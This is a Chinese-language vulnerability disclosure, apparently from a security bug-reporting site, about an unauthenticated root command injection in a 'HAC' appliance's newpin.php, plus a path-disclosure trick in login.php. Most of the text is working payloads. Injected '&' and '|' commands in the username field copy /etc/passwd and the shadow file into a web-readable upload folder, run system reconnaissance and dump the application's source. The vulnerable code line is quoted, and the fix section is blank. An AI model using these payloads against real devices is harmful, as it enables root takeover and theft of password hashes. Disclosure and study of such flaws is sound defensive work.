先说:非struts2。root权限,好爽的。不用登录,更爽的! HAC的登录界面截图如下:
以下的测试都是在内网进行的 先说个暴路径的。 post提交以下数据 https://10.100.113.11/login.php password_check=1&account=1&password=1&usb_code=&certcn[]=&randvalue=1366349330¬ifypwd= 其实就是certcn[]做了点处理,然后就暴了路径: <b>Warning</b>: explode() expects parameter 2 to be string, array given in <b>/usr/local/apache2/htdocs/project/www/login.php</b> on line <b>38</b><br /> 好几个参数只要在前后附加上&或者|就可以直接执行命令,比如我post以下数据: https://1.1.1.1/newpin.php username=1%26cp+%2Fetc%2Fpasswd+%2Fusr%2Flocal%2Fapache2%2Fhtdocs%2Fproject%2Fwww%2Fupload%2F1.txt+%26&tokencode=1&pincode=1&pincodes=1&msg= 成功将文件复制到upload文件夹下: 同时也复制了shadow文件: 执行: 1 | uname -a > /usr/local/apache2/htdocs/project/www/upload/12.txt 系统内核版本为:Linux hac 2.6.15.5hac_2.0 #2 SMP Mon Jun 7 05:13:40 CST 2010 i686 i686 i386 GNU/Linux
ls -al > /usr/local/apache2/htdocs/project/www/upload/12.txt 1&ifconfig >>/usr/local/apache2/htdocs/project/www/upload/11.txt & 直接看漏洞文件的源码: 1&cp /usr/local/apache2/htdocs/project/www/newpin.php /usr/local/apache2/htdocs/project/www/upload/11.txt & assign('msg',$msg); $template->output(); } if($_POST['username'] && $_POST['tokencode'] && $_POST['pincode']) { $cmd=MYSUDO."/usr/local/keyou/Bin/tokencheck ".$_POST['username']." ". $_POST['tokencode']." ".$_POST['pincode']; $rtn =HacExec($cmd,$output); if($rtn) { $msg="新PIN设置失败!"; } else $msg="新PIN码已被认证服务器接受!"; showPage($msg); exit; } showPage(NULL); exit(); ?>
$cmd=MYSUDO."/usr/local/keyou/Bin/tokencheck ".$_POST['username']." ". $_POST['tokencode']." ".$_POST['pincode'] 虽然我PHP很弱,但是一看就有命令注入啊………………
再看看首页源码: 1&cp /usr/local/apache2/htdocs/project/www/login.php /usr/local/apache2/htdocs/project/www/upload/11.txt &
<?php require_once('include.php'); require_once './admin/SystemDB.php'; admin/SystemDB.php可能是和数据库有关的。
源码都在这了,截图一个: 修复方案: |
-
上一篇: 搜狗视频搜索存储型XSS漏洞(第三方安全威胁)
下一篇: 天生创想OA系统无需登陆SQL注入 - 网站安全 - 自学
还没有人抢沙发呢~